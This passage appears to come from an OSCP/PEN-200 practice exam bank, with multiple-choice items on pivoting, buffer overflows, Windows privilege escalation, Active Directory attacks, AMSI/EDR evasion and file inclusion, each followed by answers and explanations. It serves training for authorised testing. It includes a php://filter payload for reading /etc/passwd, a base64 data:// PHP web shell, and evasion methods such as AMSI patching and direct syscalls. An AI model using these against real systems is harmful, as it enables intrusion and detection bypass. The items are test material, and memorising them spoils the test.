Static analysis of the loader is driven by recognizable shellcode bytes and a suspicious import table. XOR-encrypting the shellcode removes its signature-matching bytes from disk, and resolving APIs dynamically with LoadLibrary and GetProcAddress removes telltale imports like VirtualAlloc and VirtualProtect. Optimization, static runtime linking, and padding change size or dependencies but leave the shellcode bytes and imported APIs that triggered detection in place.

Exam trap

The trap here is treating size or dependency changes as evasion, when static signatures key on the shellcode bytes and the import table rather than the binary's overall footprint.

110
MCQeasy

During an internal assessment, you compromise a Windows host that can reach a segmented network. You want to run a SOCKS proxy on the compromised Windows host so that your Kali tools can reach internal targets through it. Which tool is specifically designed for this purpose and commonly used in PEN-200 scenarios?

A.Chisel
B.Wireshark
C.Netcat
D.Nmap
AnswerA

Chisel is a fast TCP/UDP tunnel transported over HTTP and secured with SSH, and it can operate as a SOCKS proxy server on the compromised host. Running the Chisel server on the Windows pivot and connecting a client from Kali with a reverse SOCKS configuration gives you a proxy into the internal network. It is a standard tool for pivoting when SSH is unavailable or inconvenient.

Why this answer

Chisel is purpose-built for tunneling and can run as a SOCKS proxy server on a compromised host, with a client on the attacker machine connecting back or forward. This makes it well suited for Windows pivots where you want a single binary that handles HTTP transport and SOCKS. Netcat, Nmap, and Wireshark serve different roles and cannot provide a SOCKS proxy service for arbitrary tools.

Exam trap

The trap here is assuming any networking tool can act as a SOCKS proxy, when only dedicated tunneling tools like Chisel implement the SOCKS protocol on the server side.

111
MCQhard

You are exploiting a buffer overflow in a 32-bit Windows application and have overwritten EIP with a JMP ESP address. However, when the shellcode executes, it fails to establish a reverse shell, and the application crashes. You suspect that the shellcode contains bad characters. Which of the following is the most effective way to identify bad characters in the shellcode?

A.Encode the shellcode with an XOR encoder and assume that all bad characters are resolved.
B.Send a series of 'A' characters followed by the shellcode and check if the shellcode executes.
C.Use a debugger to set a breakpoint at the start of the shellcode and step through each instruction to see where it fails.
D.Send all possible byte values (0x00 to 0xFF) in a buffer and observe which bytes are missing or altered in memory after the crash.
AnswerD

By sending a buffer containing all byte values from 0x00 to 0xFF, you can compare the bytes in memory (using a debugger) to the original sequence. Any byte that is missing, truncated, or altered indicates a bad character that the application filters or that terminates the string. This method systematically identifies all bad characters in one go, allowing you to encode the shellcode accordingly.

Why this answer

The most effective way to identify bad characters is to send all possible byte values and inspect memory for alterations. This reveals exactly which bytes are filtered or cause truncation. Stepping through shellcode or encoding blindly does not systematically identify bad characters.

The all-bytes test is a standard step in exploit development to ensure shellcode integrity.

Exam trap

The trap here is assuming that encoding shellcode will automatically solve bad character issues without first identifying which characters are problematic.

112
MCQeasy

What is the primary purpose of using 'accesschk' during the enumeration phase of Windows privilege escalation?

A.To bypass Windows Firewall rules.
B.To identify files and services with weak permissions.
C.To dump the SAM database for password hashes.
D.To automate the deployment of kernel exploits.
AnswerB

Accesschk is specifically designed to display the effective permissions for a user or group on various system objects. It is the industry-standard tool for finding files, services, or registry keys that are improperly secured, allowing for targeted privilege escalation attempts on a compromised system.

Why this answer

Accesschk is a powerful tool from the Sysinternals suite used to check the permissions of files, directories, registry keys, and services. In privilege escalation, it allows an attacker to quickly find misconfigured resources that the current user can modify. By identifying these 'weak' permissions, the attacker can pinpoint specific targets for exploitation, such as replacing a service binary or modifying a sensitive script.

Exam trap

Candidates often confuse accesschk with credential dumping tools or general vulnerability scanners, failing to recognize its specific utility for auditing resource permissions.

113
MCQeasy

What is the primary objective of an 'AS-REP Roasting' attack?

A.To capture the KRBTGT hash from the domain controller
B.To crack the password of an account without preauth
C.To bypass the need for an NTLM hash during relay
D.To escalate privileges via a forged Kerberos ticket
AnswerB

AS-REP Roasting exploits accounts with the 'Do not require Kerberos preauthentication' flag. By requesting a ticket without providing preauthentication data, the attacker receives a response encrypted with the user's hash, which can be cracked offline to reveal the cleartext password, regardless of the password's complexity or length.

Why this answer

AS-REP Roasting targets user accounts where Kerberos preauthentication is disabled. By sending an AS-REQ without preauthentication, the domain controller returns an AS-REP containing a TGT encrypted with the user's password hash. The attacker can then extract this hash and perform offline brute-force cracking to recover the user's cleartext password.

This is highly effective against service accounts that have been misconfigured to skip preauthentication.

Exam trap

Candidates often confuse AS-REP Roasting with Kerberoasting. AS-REP Roasting specifically targets accounts where Kerberos preauthentication is disabled, allowing the request of a TGT without knowing the user's password.

114
MCQhard

Given the exhibit, why might using the address 0x00401020 to overwrite EIP be ineffective for shellcode execution?

A.The memory address contains bad characters.
B.The instruction does not redirect the CPU to the stack.
C.The address is located in the data segment.
D.The stack has already been corrupted by the padding.
AnswerB

A CALL [EAX] instruction indirects execution based on the value currently in the EAX register. Since the attacker has no control over the EAX register, the CPU will jump to an unpredictable or invalid location. To execute shellcode on the stack, one must use a JMP ESP or equivalent register-based jump instruction.

Why this answer

The instruction at 0x00401020 is a CALL [EAX], which does not transfer control to the stack where your shellcode resides. Instead, it attempts to call an address stored in the EAX register. Since you do not control EAX, this instruction will not lead to your shellcode.

A successful exploit requires a direct jump to the stack pointer (JMP ESP) or a register you control, not a CALL instruction.

Exam trap

Candidates often assume that any successfully overwritten EIP value will lead to code execution, forgetting that indirect instructions like CALL [EAX] require control over specific registers rather than just pointing to the stack.

115
MCQmedium

You have a low-privileged shell on a Windows 10 workstation and discover that the folder 'C:\ProgramData\Updater' has weak permissions: the 'Users' group has 'Write' and 'Modify' rights. A scheduled task runs 'C:\ProgramData\Updater\update.exe' every hour as SYSTEM. What is the most reliable way to escalate privileges?

A.Run a DLL hijacking attack by placing a malicious DLL in the folder and restarting the service.
B.Create a new scheduled task that runs as SYSTEM using schtasks /create /ru SYSTEM.
C.Use icacls to grant yourself Full Control on the folder, then modify the task's XML definition.
D.Replace update.exe with a malicious executable that adds your user to the Administrators group.
AnswerD

Since the Users group can modify files in that directory, you can overwrite update.exe with a payload. When the scheduled task runs as SYSTEM, your payload executes with SYSTEM privileges, allowing you to add your user to the Administrators group. This is a classic writable directory privilege escalation.

Why this answer

A writable directory containing a scheduled task's executable allows a low-privileged user to replace that executable with a malicious payload. When the task runs as SYSTEM, the payload executes with elevated privileges. This technique is straightforward and does not require additional vulnerabilities.

The other options either require administrative rights or rely on unconfirmed application behavior.

Exam trap

The trap here is overcomplicating the attack by assuming you need to modify the task itself, when simply replacing the executable is sufficient and more reliable.

116
MCQhard

You have compromised a Linux system and extracted the /etc/shadow file. The root account's hash is prefixed with $6$. Which of the following statements is true regarding cracking this hash?

A.The hash is a SHA-512 crypt hash and can be cracked with tools like John the Ripper or Hashcat.
B.The hash is a bcrypt hash and requires the Blowfish algorithm to crack.
C.The hash is a DES hash and can be cracked quickly due to its short key length.
D.The hash is encrypted with AES-256 and requires a key to decrypt.
AnswerA

The $6$ prefix denotes SHA-512 crypt, a key derivation function used in Linux shadow files. It is designed to be slow to resist brute-force attacks. Tools like John the Ripper and Hashcat support this format and can perform dictionary or brute-force attacks to recover the plaintext password.

Why this answer

The $6$ prefix in /etc/shadow indicates SHA-512 crypt, a secure password hashing algorithm. It is not encryption, so it cannot be decrypted; it must be cracked. John the Ripper and Hashcat both support SHA-512 crypt and are commonly used for this purpose.

The other options misidentify the algorithm or misunderstand the nature of password hashing.

Exam trap

The trap here is misinterpreting the $6$ prefix as encryption or as a different hashing algorithm, leading to incorrect cracking strategies.

117
MCQhard

When an exploit script uses hardcoded memory addresses, why is it likely to fail on a modern target system?

A.The hardcoded addresses are too long for modern systems.
B.Modern systems use 64-bit addresses instead of 32-bit.
C.Address Space Layout Randomization (ASLR) makes addresses dynamic.
D.The exploit code is missing the necessary buffer size.
AnswerC

ASLR is a security feature that changes memory locations, invalidating static references. Because the addresses are no longer fixed, any exploit relying on hardcoded values will fail, as it will be trying to access memory that does not contain the code it expects to execute.

Why this answer

Modern systems utilize Address Space Layout Randomization (ASLR), which randomizes the memory addresses of key system components and loaded libraries every time a program executes. Since hardcoded memory addresses in old or poorly written exploits rely on fixed locations, they will almost certainly point to invalid or incorrect memory areas on a modern system, causing the program to crash instead of executing the desired payload.

Exam trap

Candidates often blindly copy and paste memory addresses from old exploit tutorials, failing to realize that ASLR renders those fixed addresses obsolete and incorrect on any modern operating system.

118
MCQmedium

During an internal penetration test, you compromise a Windows host that has two network interfaces: one on your attack network (10.10.10.0/24) and one on a restricted internal network (172.16.5.0/24). You need to scan a web server at 172.16.5.20:80 from your Kali machine. You decide to use SSH dynamic port forwarding. Which command should you run on your Kali machine to create a SOCKS proxy listening on localhost port 1080 through the compromised Windows host (10.10.10.15) using SSH?

A.ssh -R 1080:172.16.5.20:80 user@10.10.10.15
B.ssh -D 1080 user@10.10.10.15
C.ssh -D 1080 -L 80:172.16.5.20:80 user@10.10.10.15
D.ssh -L 1080:172.16.5.20:80 user@10.10.10.15
AnswerB

This command creates a dynamic port forward (SOCKS proxy) on local port 1080 and connects to the SSH server at 10.10.10.15. Once authenticated, any traffic sent through the SOCKS proxy is tunneled through the SSH connection and forwarded to the target network, allowing you to reach 172.16.5.20.

Why this answer

To pivot into an internal network using SSH dynamic port forwarding, the -D option creates a SOCKS proxy on the specified local port. This allows tools like proxychains or browser proxies to route traffic through the SSH tunnel to any host reachable by the compromised server. The command must specify the SSH server address, which is the compromised host's IP on the attack network.

Exam trap

The trap here is confusing dynamic port forwarding (-D) with local port forwarding (-L), which only forwards to a single predetermined destination and does not provide a general-purpose SOCKS proxy.

119
MCQeasy

Which repository is generally considered the most reliable starting point for finding verified, community-contributed public exploits during an OSCP assessment?

A.A random forum dedicated to malware distribution.
B.The Exploit Database (Exploit-DB) via Searchsploit.
C.The dark web marketplace for zero-day vulnerabilities.
D.The latest compiled binary downloads from unknown websites.
AnswerB

Searchsploit provides a comprehensive, standardized, and offline-accessible database of exploits. This tool is specifically curated for penetration testers and researchers, offering a reliable way to match service versions to known exploit code while ensuring you maintain an efficient and controlled testing methodology during your exam.

Why this answer

Searchsploit, a command-line tool for the Exploit Database (EDB), is the industry standard for identifying public exploits. It provides a searchable, offline archive of exploits, which is crucial when internet access is limited or unavailable during an exam. Utilizing this tool helps identify specific vulnerability versions and common exploit patterns, allowing for efficient mapping of known vulnerabilities to the target services identified during the enumeration phase.

Exam trap

Candidates often waste time searching random online repositories or unverified GitHub links instead of utilizing local, reliable, and offline-capable tools like Searchsploit during restricted environments.

120
MCQmedium

Refer to the exhibit. What is the primary vulnerability shown here?

A.The task is not running, so it is secure.
B.The task executes a batch file that may be writable by users.
C.The task name '\SystemTask' is too generic.
D.Scheduled tasks cannot be used for privilege escalation.
AnswerB

Scheduled tasks that execute scripts are vulnerable if the script file is writable by the current user. Since the task runs with SYSTEM privileges, hijacking the script allows the user to execute arbitrary commands with those same elevated privileges, facilitating a direct path to system-wide compromise.

Why this answer

The scheduled task '\SystemTask' runs as 'SYSTEM' and executes 'C:\scripts\run.bat'. If a standard user has write access to 'run.bat' or the directory 'C:\scripts', they can modify the script to run any command. Since the task runs as SYSTEM, the modified command will also run as SYSTEM, leading to a simple and effective privilege escalation path via scheduled task hijacking.

Exam trap

Candidates often overthink the task configuration and look for complex buffer overflows or registry issues, missing the simple, common misconfiguration of a writable batch file executed by a system task.

121
MCQeasy

Which tool is primarily used to perform BloodHound data collection to map out attack paths within an Active Directory environment?

A.Mimikatz
B.SharpHound
C.Responder
D.PowerSploit
AnswerB

SharpHound is the official data collector for BloodHound. It automates the collection of Active Directory data, including group memberships, ACLs, and session information. This data is essential for building the graph database used in BloodHound to discover and analyze potential attack paths to high-value targets.

Why this answer

BloodHound uses SharpHound as its data collector. SharpHound queries the Active Directory environment to identify relationships between users, groups, computers, and permissions. This data is then imported into the BloodHound graph database, allowing testers to visualize complex attack paths, such as shortest paths to Domain Admin, which would be difficult to identify through manual enumeration alone.

Exam trap

Candidates often confuse the analytical visualization platform name with the actual data gathering executable that runs on the target Active Directory environment.

122
MCQhard

You have identified a stack-based buffer overflow in a Windows application. The application is compiled with SafeSEH, and you have confirmed that no SafeSEH-protected exception handlers can be overwritten. However, you notice that the stack is executable. You need to redirect execution to your shellcode. Which technique is most likely to succeed?

A.Overwrite the saved return address with a pointer to a JMP ESP instruction in a non-ASLR module.
B.Overwrite the saved return address with the address of the shellcode on the stack.
C.Overwrite the SEH chain with a pointer to a POP POP RET sequence in a SafeSEH-compatible module.
D.Use a return-to-libc attack by overwriting the return address with the address of the system() function.
AnswerA

With an executable stack, placing shellcode on the stack and redirecting execution to it via a JMP ESP is a classic and reliable technique. The JMP ESP instruction jumps to the current stack pointer, which points to the shellcode if you have arranged the payload correctly. This bypasses SafeSEH because it does not rely on overwriting an exception handler.

Why this answer

With an executable stack and SafeSEH in place, the most straightforward method is to overwrite the saved return address with a JMP ESP instruction from a module not protected by ASLR. This transfers control to the stack where the shellcode resides. SafeSEH is irrelevant because no exception handler is overwritten.

This technique is a staple in OSCP-style buffer overflow exploitation.

Exam trap

The trap here is thinking that SafeSEH prevents all stack-based overflows; it only mitigates SEH overwrites, so return address overwrites remain viable if the stack is executable.

123
MCQeasy

During a buffer overflow exploit development, you need to determine the exact number of bytes required to overwrite the EIP register. Which method is most commonly used to find this offset?

A.Perform a binary search by sending payloads of varying lengths and checking if EIP is overwritten.
B.Send a series of 'A' characters in increasing lengths until the application crashes.
C.Generate a unique cyclic pattern, send it as input, and observe the value of EIP to calculate the offset.
D.Use a debugger to set a breakpoint on the return instruction and inspect the stack pointer.
AnswerC

A cyclic pattern, such as one generated by Metasploit's pattern_create, consists of a unique sequence of characters. When the application crashes, the value in EIP will be a subset of this pattern. By using pattern_offset with that value, you can determine the exact number of bytes from the start of the buffer to the return address. This is the standard and most reliable method for finding the offset.

Why this answer

The cyclic pattern method is the most efficient and precise way to find the EIP offset. By sending a unique pattern, the value in EIP after a crash directly indicates the offset when compared to the pattern. Other methods like sending 'A's or binary search are less precise or more labor-intensive.

Debugger inspection can complement but is not the primary method for offset discovery.

Exam trap

The trap here is thinking that sending a large number of 'A's is sufficient, but it only confirms a crash, not the exact offset needed for a reliable exploit.

124
MCQmedium

Given the exhibit, what is the correct strategy to redirect control flow to the shellcode?

A.Replace the EIP value with 0x0012FF70.
B.Overwrite the EIP value with the address 0x77E14C29.
C.Nop out the EIP value with 0x90909090.
D.Force the program to jump to the base address 0x00400000.
AnswerB

Replacing the EIP value with the static JMP ESP address ensures that when the function returns, the CPU immediately executes the jump instruction. This instruction points the CPU to the current location of the stack pointer, effectively directing the execution flow to the shellcode payload injected by the user.

Why this answer

To redirect execution, you must replace the EIP value (currently 0x41414141) with the memory address of a JMP ESP instruction. The JMP ESP instruction serves as a pivot point that redirects the CPU to the stack, where your shellcode is located. By placing the address 0x77E14C29 in the exact offset where EIP is overwritten, the CPU will execute the jump instead of attempting to return to the original, now-corrupted address.

Exam trap

Candidates often try to jump directly to a hardcoded address on the stack, which is unreliable. They forget that the stack address changes across different environments and executions.

125
MCQeasy

While debugging a custom TCP server running on a Windows target, you send an overly long string of 'A' characters and notice that the application crashes, overwriting the EIP register with 0x41414141. What does this specific hex value indicate about the state of the debugger?

A.The application encountered an unhandled memory access violation due to a null pointer dereference in the heap management routines.
B.The instruction pointer has successfully been overwritten with user-controlled input consisting of the character 'A'.
C.The operating system security controls detected a stack cookie mismatch and deliberately terminated the application process.
D.The CPU executed an illegal instruction opcode that triggered an exception within the kernel-mode driver framework.
AnswerB

The hexadecimal representation for an uppercase letter A is 0x41. Seeing four sequential instances in the instruction pointer register demonstrates that your input buffer successfully overflowed the target stack buffer and replaced the return address.

Why this answer

The hexadecimal value 0x41 corresponds directly to the ASCII character 'A'. When the instruction pointer contains four of these bytes, it proves that the input buffer successfully overflowed the local stack frame and precisely replaced the saved return address, confirming vulnerability and providing exact control over the execution flow.

Exam trap

Students sometimes mistake the hex value 0x41414141 for an error code or memory fault address rather than recognizing it as literal ASCII text ('AAAA') confirming successful stack overwrite.

126
MCQmedium

You are conducting a penetration test and have obtained a list of usernames. You want to perform a password spray against an OWA (Outlook Web Access) portal. Which tool is specifically designed to automate password spraying against OWA while respecting lockout policies?

A.Hydra
B.MailSniper
C.Medusa
D.CrackMapExec
AnswerB

MailSniper is a PowerShell tool designed for penetration testing against Exchange and OWA. It includes a `Invoke-PasswordSprayOWA` function that automates password spraying while allowing control over the delay between attempts to avoid lockouts. It is specifically tailored for OWA and Exchange environments, making it the ideal choice for this scenario. Other tools may support spraying but are not as specialized for OWA.

Why this answer

MailSniper is a dedicated tool for attacking Exchange and OWA environments. Its `Invoke-PasswordSprayOWA` cmdlet automates the process of trying a single password against multiple OWA accounts while allowing the tester to specify a delay to avoid lockouts. This specialization makes it more effective and safer than generic brute-force tools like Hydra or Medusa, which are not tailored for OWA.

CrackMapExec does not support OWA, so MailSniper is the correct choice.

Exam trap

The trap here is assuming that any password spraying tool can target OWA, when in fact specialized tools like MailSniper are designed for it.

127
MCQhard

During a red team engagement, a tester writes a C# loader that calls the Win32 API function VirtualAllocEx to allocate memory in a remote process, writes shellcode, and creates a remote thread. The loader compiles and runs, but the endpoint's EDR blocks it before the remote thread executes. The tester confirms the EDR is hooking user-mode API functions in ntdll.dll. Which approach most directly avoids the user-mode hooks that triggered the block?

A.Add the /DYNAMICBASE:NO linker flag so the loader's base address does not change between runs.
B.Replace the calls to VirtualAllocEx and CreateRemoteThread with their NtAllocateVirtualMemory and NtCreateThreadEx equivalents from ntdll.dll.
C.Call VirtualProtect on the ntdll.dll .text section to restore the original bytes before invoking the API.
D.Implement direct system calls by reading the syscall numbers from a clean copy of ntdll.dll and executing the syscall instruction directly from the loader's own code.
AnswerD

EDR user-mode hooks live in the ntdll.dll code that the loader would normally call. By extracting the syscall service numbers and issuing the syscall instruction from the loader's own memory, the execution never passes through the hooked ntdll stubs. The kernel still performs the operation, but the EDR's user-mode interception point is skipped. This directly addresses the described hooking mechanism.

Why this answer

User-mode EDR hooks are implemented by patching the entry points of functions inside ntdll.dll. Any call that goes through those functions, whether via the kernel32 wrapper or the Nt-prefixed export, passes through the hook. Direct system calls sidestep the problem by placing the syscall instruction in the loader's own code with the correct service number, so execution transitions to kernel mode without touching the hooked ntdll stubs.

This is the most reliable way to bypass user-mode hooking without altering system DLLs.

Exam trap

The trap here is thinking that calling the lower-level Nt function instead of the Win32 wrapper avoids EDR hooks, when in fact the hooks are placed inside ntdll.dll where those Nt functions reside.

128
MCQmedium

Which of the following describes the security benefit of the 'HttpOnly' flag shown in the exhibit?

A.It ensures the cookie is only sent over encrypted HTTPS connections.
B.It prevents the cookie from being accessed by JavaScript.
C.It stops the browser from sending the cookie in cross-site requests.
D.It automatically regenerates the session ID every 30 minutes.
AnswerB

The 'HttpOnly' attribute is specifically designed to block access to the cookie through the document.cookie property. This protects the session from being stolen by XSS attacks, as malicious scripts are unable to read or transmit the session token to an attacker-controlled server.

Why this answer

The 'HttpOnly' flag prevents client-side scripts from accessing the cookie via the document.cookie API. This is a crucial defense against session hijacking attacks, as it ensures that even if an attacker successfully executes a Cross-Site Scripting (XSS) payload, they cannot steal the session identifier. This protection layer is a standard security configuration for sensitive session cookies in modern web applications.

Exam trap

Candidates often confuse HttpOnly with Secure flags, incorrectly believing that HttpOnly prevents man-in-the-middle attacks or encrypts the cookie, rather than specifically restricting client-side script access.

129
Multi-Selecthard

You are performing active reconnaissance against a web server and want to identify hidden directories and files that may not be linked from the main site. Which two techniques are most appropriate for this goal? (Choose two.)

Select 2 answers
A.Running a full TCP port scan with Nmap to identify all open ports on the server.
B.Using a tool like Gobuster with a wordlist to brute-force common directory and file names.
C.Inspecting the robots.txt file for disallowed entries that may reveal sensitive paths.
D.Performing a WHOIS lookup to gather registration details about the domain.
E.Using the `dig` command to perform a zone transfer on the DNS server.
AnswersB, C

Gobuster is a specialized tool for brute-forcing URIs (directories and files) on web servers. It sends HTTP requests for each word in a wordlist and analyzes the response codes to identify existing resources. This is a standard active reconnaissance technique to discover hidden content that is not linked from the visible site.

Why this answer

Brute-forcing with Gobuster and inspecting robots.txt are both effective for discovering hidden directories and files on a web server. Gobuster actively probes for common names, while robots.txt may list disallowed paths that administrators wish to keep out of search engines. The other techniques focus on port scanning, DNS, or registration data, which do not directly enumerate web content.

Exam trap

The trap here is confusing port scanning or DNS enumeration with web content discovery; only techniques that interact with the web server at the HTTP layer will reveal hidden directories and files.

130
MCQhard

During an internal Active Directory assessment, you have compromised a standard domain user account. You run BloodHound and identify that this user has the 'GenericAll' permission over a computer object named WEB01. You want to leverage this permission to compromise WEB01 and obtain administrative access to it. Which of the following is the most direct and reliable technique to achieve this?

A.Use the GenericAll permission to perform a shadow credentials attack by adding a Key Credential to the msDS-KeyCredentialLink attribute of WEB01.
B.Use the GenericAll permission to perform a targeted Kerberoasting attack by setting an SPN on a user account you control, then request a service ticket.
C.Perform a Kerberoasting attack against the machine account of WEB01 to obtain its hash and then crack it offline.
D.Use the GenericAll permission to perform a resource-based constrained delegation attack by modifying the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
AnswerA

With GenericAll on a computer object, you can modify the msDS-KeyCredentialLink attribute to add a public key, then authenticate as that computer using PKINIT. This is known as a shadow credentials attack and directly grants you a ticket-granting ticket (TGT) for the machine account, allowing administrative access to WEB01. It is a direct and reliable method.

Why this answer

GenericAll over a computer object allows full control, including modifying the msDS-KeyCredentialLink attribute. By adding a Key Credential, an attacker can authenticate as the computer account via PKINIT and obtain a TGT, effectively taking over the machine. This shadow credentials technique is direct and does not require cracking or additional accounts, making it the most efficient path to compromise WEB01.

Exam trap

The trap here is assuming that GenericAll over a computer object only allows resetting the machine account password or that it must be combined with other misconfigurations, when in fact it directly enables shadow credentials.

131
MCQmedium

During a web application assessment, you discover that the application allows users to upload profile pictures. The server saves these files with their original extensions in a publicly accessible directory. What is the most effective client-side risk associated with this misconfiguration?

A.Direct execution of native ELF binaries on the underlying Linux web server operating system
B.Immediate compromise of the backend database via automated SQL injection through the filename
C.Execution of Stored Cross-Site Scripting when a victim user navigates directly to the uploaded SVG or HTML file
D.Bypassing network perimeter firewalls through encapsulated ICMP tunneling inside the image metadata
AnswerC

Browsers render SVG and HTML files containing embedded JavaScript within the origin context of the web application storage domain. This allows attackers to steal cookies, manipulate DOM elements, or perform unauthorized actions when other users view the uploaded file.

Why this answer

Allowing arbitrary file uploads without strict extension validation enables attackers to upload malicious HTML or SVG files containing embedded JavaScript. When another user visits the direct URL of the uploaded file, the browser renders the content, leading to Stored Cross-Site Scripting.

Exam trap

Candidates often focus on server-side file inclusion or remote code execution, forgetting that modern browsers will execute embedded scripts in SVG or HTML files even when served from a file upload directory.

132
MCQmedium

During an authorized penetration test, you want to perform a client-side attack by delivering a malicious HTA file via a phishing email. Which technique is most effective to execute native commands silently when the user opens the file?

A.Embedding the HTA inside a standard PDF document using an external URI scheme pointing to a remote script
B.Hosting the HTA file on an Apache web server with a fake mime-type configuration forcing automatic execution
C.Using mshta.exe to process a VBScript payload embedded within the HTA container to spawn a reverse shell
D.Converting the HTA payload into a malicious shortcut (.lnk) file that calls PowerShell with hidden window arguments
AnswerC

The mshta.exe utility natively interprets HTML Applications and executes embedded scripting languages like VBScript or JScript with the full privileges of the current user. This bypasses typical browser isolation boundaries because the file runs as a trusted local Windows application.

Why this answer

HTA files execute via mshta.exe, allowing VBScript or JScript integration to run operating system commands directly without standard browser security sandboxes. This makes HTA files highly effective for initial access vectors during social engineering engagements when users trust and run local executables.

Exam trap

Many candidates incorrectly assume that HTA files act like standard HTML files in a browser. They forget that HTA files are executed by mshta.exe, which operates outside the browser sandbox.

133
MCQmedium

You have compromised a Windows host and obtained credentials for a low-privileged domain user. You discover that this user has 'GenericWrite' permissions on a computer object in Active Directory. Which attack technique can you use to escalate privileges on that computer?

A.Perform a Kerberoasting attack to extract service account hashes.
B.Use Resource-Based Constrained Delegation (RBCD) by modifying the computer's msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
C.Exploit an unquoted service path on the target computer.
D.Conduct a DCSync attack to replicate domain controller hashes.
AnswerB

GenericWrite on a computer object allows modification of its attributes, including msDS-AllowedToActOnBehalfOfOtherIdentity. By setting this attribute to include a controlled account, you can configure RBCD, enabling that account to impersonate any user to the target computer, effectively escalating to administrative access on that machine.

Why this answer

GenericWrite on a computer object permits modification of its attributes. Setting msDS-AllowedToActOnBehalfOfOtherIdentity enables Resource-Based Constrained Delegation, allowing a controlled account to impersonate users to that computer. This can lead to full compromise of the target machine.

The other techniques require different permissions or local access, making them ineffective here.

Exam trap

The trap here is assuming that GenericWrite on a computer object directly grants administrative access, when it actually enables attribute modification that can be leveraged for RBCD.

134
MCQeasy

Why might a penetration tester use a 'jump host' when attempting to access an internal network segment?

A.To increase the bandwidth of the connection.
B.To hide the attacker's IP from the destination server.
C.Because the target segment is firewalled from the attacker.
D.To provide a GUI-based interface for database management.
AnswerC

A jump host is used when the attacker cannot directly communicate with the target network. By establishing a tunnel through the jump host, the attacker effectively extends their reach into the internal segment, circumventing the firewalls that prevent direct connections from the outside world to the target internal resources.

Why this answer

A jump host acts as an intermediary system that has dual-homed network access, connecting the untrusted zone (or the internet) to the restricted internal segment. By compromising the jump host, the tester gains a foothold within the internal network. This is a standard strategy because direct access to backend servers is often blocked by firewalls, and the jump host is often the only permitted pathway for remote administration.

Exam trap

Candidates frequently mistake jump hosts for simple proxies or VPNs. They fail to recognize that the jump host's primary purpose is bridging two distinct network segments that have no direct routing.

135
MCQmedium

You are developing an exploit for a 32-bit Windows application that contains a stack-based buffer overflow. After overwriting EIP with a JMP ESP address, you place a payload that includes a reverse shell. During testing, the shell connects back successfully, but the application crashes immediately after the shell terminates. What is the most likely cause of the crash?

A.The offset to EIP was miscalculated, causing the return address to be overwritten with an incorrect value.
B.The shellcode lacks a proper exit sequence, causing the process to execute invalid memory after the shell ends.
C.The shellcode was encoded with an XOR encoder that corrupted the payload after execution.
D.The JMP ESP address contains a null byte, which truncates the payload during transmission.
AnswerB

When the shellcode finishes, it must exit cleanly; otherwise, execution continues into uninitialized or invalid memory, leading to a crash. Adding a call to ExitProcess or a similar termination routine ensures the process ends gracefully. This is a common issue when the shellcode is not designed to exit, especially if it spawns a shell and then returns to the overwritten return address or subsequent bytes.

Why this answer

The crash after the shell terminates suggests that the shellcode does not properly exit the process. When shellcode completes, it must call a termination function like ExitProcess; otherwise, the CPU continues executing whatever bytes follow, often leading to an access violation. The other options are inconsistent with the observed successful shell connection, which confirms that the overwrite and shellcode execution were correct.

Exam trap

The trap here is assuming that a successful shell connection means the exploit is flawless, overlooking that shellcode must terminate cleanly to avoid post-exploitation crashes.

136
MCQhard

You are performing a penetration test against a web application that uses a Linux backend. You discover a file inclusion vulnerability in the 'page' parameter: 'index.php?page=home.php'. You attempt to include '/etc/passwd' using path traversal, but the application appends '.php' to the input. You try 'page=../../../../etc/passwd%00' but the null byte is blocked. Which of the following techniques is most likely to allow you to read the '/etc/passwd' file?

A.Use a PHP filter wrapper: 'page=php://filter/convert.base64-encode/resource=/etc/passwd'
B.Use a zip wrapper: 'page=zip:///tmp/shell.jpg%23shell.php'
C.Use a data wrapper: 'page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4='
D.Use a path traversal with a trailing slash: 'page=../../../../etc/passwd/'
AnswerA

The php://filter wrapper can be used to read files without executing them. By specifying convert.base64-encode, the contents of /etc/passwd are base64-encoded and returned, bypassing the .php extension append because the wrapper is used as the resource. This is a common technique to read source code or sensitive files when file inclusion is present.

Why this answer

The php://filter wrapper allows reading files by applying filters. Using convert.base64-encode encodes the file content, which is then returned in the response. This bypasses the .php extension append because the wrapper is specified as the resource, and the server includes the filtered stream.

This technique is effective for reading sensitive files like /etc/passwd when file inclusion is present.

Exam trap

The trap here is assuming that path traversal alone can bypass extension appending, or using wrappers meant for code execution rather than file reading.

137
MCQmedium

A penetration tester has obtained a low-privilege shell on a Windows 10 host protected by Windows Defender with real-time protection enabled. The tester wants to execute a custom .NET assembly in memory to avoid writing a payload to disk, but Defender's AMSI integration repeatedly flags the assembly when loaded via the standard reflection technique. Which modification to the in-memory loading approach is MOST likely to prevent AMSI from inspecting the assembly's content?

A.Base64-encode the assembly bytes and load them with Assembly.LoadFrom after decoding.
B.Patch the AmsiScanBuffer function in amsi.dll in the current process before loading the assembly.
C.Store the assembly on a remote SMB share and load it with Assembly.LoadFrom over the network path.
D.Encrypt the assembly with AES and decrypt it directly into a memory region allocated with PAGE_EXECUTE_READWRITE.
AnswerB

AMSI ultimately routes assembly and script content through AmsiScanBuffer in amsi.dll. By overwriting the function prologue in the current process with a stub that returns a clean result, the tester prevents Defender from receiving the buffer for inspection. This is a classic runtime AMSI bypass that works for .NET assembly loads because the CLR calls into AMSI via that same exported function. It does not require disabling Defender globally.

Why this answer

AMSI integrates with the .NET runtime and submits assembly content to AmsiScanBuffer before execution. Patching that function in the current process causes the scan to return a benign result, allowing the in-memory assembly to load without Defender receiving the buffer. Encryption, encoding, and remote loading do not prevent the runtime from passing the decrypted or fetched bytes to AMSI, so they fail against runtime inspection even though they may help against static file signatures.

Exam trap

The trap here is assuming that encrypting or encoding the payload hides it from AMSI, when AMSI inspects the decrypted buffer at the moment the runtime submits it for scanning.

138
MCQeasy

When testing for DOM-based XSS, where should you focus your analysis to find the vulnerable code?

A.The server-side application logs for suspicious input patterns.
B.The application's source code, specifically looking for sinks like eval() or innerHTML.
C.The database queries for evidence of script injection.
D.The server's response headers to check for security misconfigurations.
AnswerB

DOM XSS occurs when client-side script flows data from an untrusted source to an execution sink. By auditing the front-end JavaScript for functions like innerHTML, document.write, or eval, you can identify where data is processed dangerously, allowing you to trace the flow back to the source.

Why this answer

DOM-based XSS occurs entirely on the client side, where JavaScript takes data from a 'source' (like the URL fragment) and passes it to a 'sink' (like innerHTML) without proper sanitization. Analyzing the client-side JavaScript code is essential to trace the data flow from these sources to the execution sinks. This is critical because the server might never see the malicious payload at all.

Exam trap

